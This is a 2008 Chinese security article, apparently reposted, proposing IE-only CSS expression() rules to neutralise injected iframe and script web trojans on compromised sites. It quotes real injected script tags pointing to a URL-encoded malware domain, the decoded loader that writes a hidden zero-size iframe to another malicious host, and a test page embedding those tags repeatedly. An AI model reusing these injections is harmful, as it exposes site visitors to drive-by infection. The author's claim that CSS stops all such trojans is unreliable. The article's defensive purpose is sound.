通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 安全防御 >> 安全相关 >> 文章正文
二行代码解决全部网页木马(含iframe/script木马)
责任编辑:酷酷の鱼   更新日期:2008-4-11
 

来源:安全中国

还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

  前不久《一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:
document.write("<div style=’display:none’>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)。
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:
iframe{n1ifm:expression(this.src=’about:blank’,this.outerHTML=’’);}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf(’http’)==0)?document.write(’木马被成功隔离!’):’’);}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
    缺点:访客无法看到被感染了<script>木马的页面。


解决方案2:
iframe{nifm2:expression(this.src=’about:blank’,this.outerHTML=’’);}
script{no2js:expression((this.src.toLowerCase().indexOf(’http’)==0)?document.close():’’);}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3:
iframe{ni3fm:expression(this.src=’about:blank’,this.outerHTML=’’);}
script{n3ojs:expression((this.src.toLowerCase().indexOf(’http’)==0)?document.execCommand(’stop’):’’);}
 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:
iframe{nif4m:expression(this.src=’about:blank’,this.outerHTML=’’);}
script{noj4s:expression(if(this.src.indexOf(’http’)==0)this.src=’res://ieframe.dll/dnserror.htm’);}
   原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:
iframe{nifm5:expression(this.src=’about:blank’,this.outerHTML=’’);}
script{noj5s:expression((this.id.toLowerCase().indexOf(’lh’)==0)?document.write(’木马被成功隔离!’):’’));}
   第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src=’about:blank’,this.outerHTML=’’);}
script{ngz1:expression((this.src.indexOf(’http’)==0)?document.close():’’);}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
document.write("我是本站的JS文件");
document.write("<img src=’/news/UploadFiles_9994/200804/20080410191307231.gif’ />");
我的测试环境是:
  Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

很晚了,我要睡觉了。有空再研究。

更正第五个方案
上面写到的第五个方案代码写错了,

<script src="***/**.js" id="lhSearchJSapi"></script>

script{noj5s:expression((this.id.toLowerCase().indexOf(’lh’)==0)?document.write(’木马被成功隔离!’):’’));}

红色字部分有错误,应该是!=-1,上面的正确写法应该是:

script{noj5s:expression((this.id.toLowerCase().indexOf(’lh’)==-1)?document.write(’木马被成功隔离!’):’’));}
script{noj5s:expression((this.id.toLowerCase().indexOf(’vok’)!=-1)?document.write(’木马被成功隔离!’):’’));}
[/code]<script id="tjJSapivok" title="这是你外域的统计流量的JS代码" type="text/javascript" src="http://js.tongji.yahoo.com.cn/1/188/205/ystat.js"></script>
<script id="otherJSapivok" title="这是你本站需要的JS文件" type="text/javascript" src="footer.js"></script>[/code]script{noj5s:expression((this.id.toLowerCase().indexOf(’vok’)!=-1)?document.write(’木马被成功隔离!’):’’));}

<script id="footerJSapivok" src="这里写你本网站的JS路径" type="text/javascript"></script>
<script id="tongjiJSapivok" src="这里外域的JS路径" type="text/javascript"></script>

你网站的所有JS标记(<script>)都得加上id属性,并且有一个共同的前缀、后缀或公共字符串,上面的公共字符串为“vok”。

  特此更正,感谢昵称为“网工”的QQ网友提醒。
研究网页挂马破坏用户的斗争还在继续,也不会停止。还望各位将服务器安全性能配置好点,我这也只是临时避避风雨的办法。 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司04月11日发布 每日计算机病毒及木马播报
    普通文章 警惕利用社保系统漏洞诈骗等违法犯罪活动
    普通文章 赛门铁克:13期互联网安全威胁报告
    普通文章 百度搜霸将改名为“百度工具栏”
    普通文章 高危漏洞威胁系统安全 微软狂打10补丁
    推荐文章 推荐:磁碟机病毒很猖獗 高手传授解毒小秘方
    普通文章 Windows 系统安全技术概念技术讲解
    普通文章 决不做“肉鸡” 从零开始自检系统漏洞
    普通文章 深入理解DoS拒绝服务攻击
    普通文章 深度研究加密你的Root文件系统
    热门文章
    普通文章磁碟机走后AUTO木马群爆发 毒霸出方案
    普通文章警惕不法分子建虚假维权网站实施诈骗活动
    普通文章黑客利用木马盗取银行账户信息 被判8年监禁
    普通文章解密谷歌成功七大密码:不一样的收入模式
    普通文章"网游窃贼"周变种千余次 磁碟机作最后挣扎
    普通文章"磁碟机"迅速蔓延 查杀难度超过"熊猫烧香"
    普通文章Mozilla修补Firefox十处漏洞 半数"危急"
    普通文章全球黑客比武:苹果微软系统均被"黑掉"
    普通文章全球黑客大赛落幕 新版MacBook 2分钟被破解
    普通文章星型拓扑结构
    精彩专题